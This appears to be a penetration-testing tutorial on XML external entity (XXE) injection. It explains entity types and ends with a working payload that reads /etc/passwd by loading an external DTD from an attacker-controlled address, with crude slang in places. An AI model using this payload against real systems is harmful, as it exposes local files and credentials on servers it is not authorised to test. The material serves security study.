XXE Injections

XXE Injections

in

Table of Contents

Abusing XML Parsers

XML Parsing

Any application that relies on data stored in the XML format will inevitably use an XML parser or processor. When an application parses parses unsanitized data, we can:

  • Read from the local file system.
  • Perform SSRF.
  • Chain the above vulnerabilities into remote code execution.

XML Entities

We can think of XML Entities as variables. They are placeholders used when we want to reference a value multiple times with an XML document.
We can create an XML entity using Document Type Definitions (DTDs).
There are three types of XML entities:

  • Internal Entities
  • External Entities
  • Parameter Entities

Internal Entities

Internal entities are locally defined within the DTD. The general format is:

<!ENTITY name "entity_value">

As an example:

<!ENTITY donkey "<entity-value>hay</entity-value>">

External Entities

External entities are used to reference data that is not defined locally.
We reference the data that is not defined locally via a URI, and because of this, we can use external entities to:

  • Perform Denial of Service attacks.
  • Information Disclosure.
  • Check for SSRF.
  • SQLI depending on the DBMS.
  • Exfiltrate data via OAST.
  • RCE by chaining the above methods.

External entities can either be public or private.

Private External Entities

The general format of a private external entity is:

<!ENTITY name SYSTEM "URI">

As an example:

<!ENTITY barnyard SYSTEM "http://donkey/hayflavors.xml">

The point is SYSTEM is what makes the entity private.

Public External Entities

The general format of a public external entity is:

<!ENTITY name PUBLIC "public_id" "URI">

As an example:

<!ENTITY barnyard PUBLIC "Donkey ID" "http://donkey/hayflavors.xml">

It’s also worth mentioning that public external entities may or may not specify a public_id. XML pre-processors use the public_id value to generate alternate URIs for the externally parsed entity.

(Public vs. Private) External Entities

It should go without saying that private external entities MAY indicate resources on the local machine/intranet. These may serve as a point for further enumeration. Obviously, public external entities are meant to be consumed by (any/every)one.

Unparsed External Entities and Binary Data

An XML entity does not have to contain valid XML code and is not limited to processing only ASCII data. For example, we can reference binary data from a URI and prevent the XML parser from parsing the referenced binary data using the NDATA declaration.

For Private Entities, the definition of an unparsed entity looks like this:

<!ENTITY name SYSTEM "URI" NDATA TYPE>

For Public Entities, the definition of an unparsed entity looks like this:

<!ENTITY name PUBLIC "public_id" "URI" NDATA TYPE>

Parameter Entities

Parameter entities exist only within a DTD and have a slightly different syntax used when defining them but are otherwise very similar to any other entity. We define them using % as a prefix before the entity name:

<!ENTITY % name SYSTEM "URI">

As an example:

<!ENTITY % animal 'Donkeys'>
<!ENTITY fact '%animal eat hay;' >

XML External Entity Injections (XXEs)

XXE injections, if it’s unclear by this point, are attacks against XML parsers.
The main prerequisite for an XXE attack is the ability to feed a maliciously-crafted XML request containing system identifiers that point to sensitive data to the target XML processor.
In some languages, like PHP, XXE vulnerabilities can even lead to remote code execution.
In Java, however, we cannot execute code with just an XXE vulnerability, but either way, XXE is a valuable part of an attack chain.

Bypassing Bad Characters With CDATA

When using XXE injections to read files, we may get cucked if the file has bad characters with respect to the XML parser.
For example these could be:

  • <
  • >
  • %

While XML supports character escaping, this is usually not a solution to reading files from the local filesystem weith bad characters because, generally, we can’t manipulate the content of the file we want to read. So instead, to ensure minimal cuckoldry with respect to the XML parser, we can define CDATA sections.
The content of CDATA sections is NOT treated as markup.
Below is a general technique for reading files and directories from the local filesystem regardless of whether they have bad characters or not.
wrapper.dtd:

<!ENTITY wrapper "%start;%file;%end;">

Payload to application

  <?xml version="1.0"?>
  <!DOCTYPE data [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///etc/passwd" >
  <!ENTITY % end "]]>">
  <!ENTITY % dtd SYSTEM "http://192.168.119.120/wrapper.dtd" >
  %dtd;
  ]>
  <example>
    <donkey>&wrapper;</donkey>
  </example>
  1. The XML parser will create the wrapper entity defined in wrapper.dtd.
  2. %start will be replaced with ”<![CDATA[“.
  3. %file will be replaced with /etc/password.
  4. %end will be replaced with ”]]>”.
  5. The resulting value will be placed in donkey.